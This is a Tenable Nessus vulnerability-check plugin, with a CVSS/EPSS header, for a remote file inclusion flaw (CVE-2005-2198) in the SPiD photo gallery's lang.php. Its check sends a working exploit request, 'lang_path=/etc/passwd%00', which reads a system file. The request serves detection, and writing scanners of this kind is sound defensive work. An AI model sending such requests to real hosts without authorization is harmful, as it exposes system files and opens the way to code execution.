CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
EPSS
Percentile
87.7%
The remote host is running SPiD, a free, PHP-based photo gallery.
The installed version of SPiD allows remote attackers to control the ‘lang_path’ variable used when including PHP code in the ‘lang/lang.php’ script. By leveraging this flaw, an attacker may be able to view arbitrary files on the remote host or to execute arbitrary PHP code, possibly taken from third-party hosts.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description) {
script_id(18671);
script_version("1.17");
script_cve_id("CVE-2005-2198");
script_bugtraq_id(14208);
script_name(english:"SPiD lang.php lang_path Remote File Inclusion");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote file include issue." );
script_set_attribute(attribute:"description", value:
"The remote host is running SPiD, a free, PHP-based photo gallery.
The installed version of SPiD allows remote attackers to control the
'lang_path' variable used when including PHP code in the
'lang/lang.php' script. By leveraging this flaw, an attacker may be
able to view arbitrary files on the remote host or to execute
arbitrary PHP code, possibly taken from third-party hosts." );
script_set_attribute(attribute:"see_also", value:"http://securitytracker.com/alerts/2005/Jul/1014437.html" );
script_set_attribute(attribute:"solution", value:
"Either ensure that PHP's 'magic_quotes_gpc' setting is enabled and
that 'allow_url_fopen' and 'register_globals' are disabled or upgrade
to SPiD version 1.3.1." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"plugin_publication_date", value: "2005/07/11");
script_set_attribute(attribute:"vuln_publication_date", value: "2005/07/09");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
summary["english"] = "Checks for lang_path variable file include vulnerability in SPiD";
script_summary(english:summary["english"]);
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2005-2021 Tenable Network Security, Inc.");
script_dependencies("http_version.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
script_require_keys("www/PHP");
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);
# Loop through CGI directories.
foreach dir (cgi_dirs()) {
# Try to exploit the flaw to read /etc/passwd.
w = http_send_recv3(method:"GET",
item:string(
dir, "/lang/lang.php?",
"lang_path=/etc/passwd%00"
),
port:port
);
if (isnull(w)) exit(1, "The web server on port "+port+" did not answer");
res = w[2];
# There's a problem if...
if (
# there's an entry for root or...
egrep(string:res, pattern:"root:.*:0:[01]:") ||
# we get an error saying "failed to open stream" or "failed opening".
#
# nb: this suggests magic_quotes_gpc was enabled but passing
# remote URLs might still work.
egrep(string:res, pattern:"Warning: main\(/etc/passwd.+failed to open stream") ||
egrep(string:res, pattern:"Warning: Failed opening '/etc/passwd.+for inclusion")
) {
security_warning(port);
exit(0);
}
}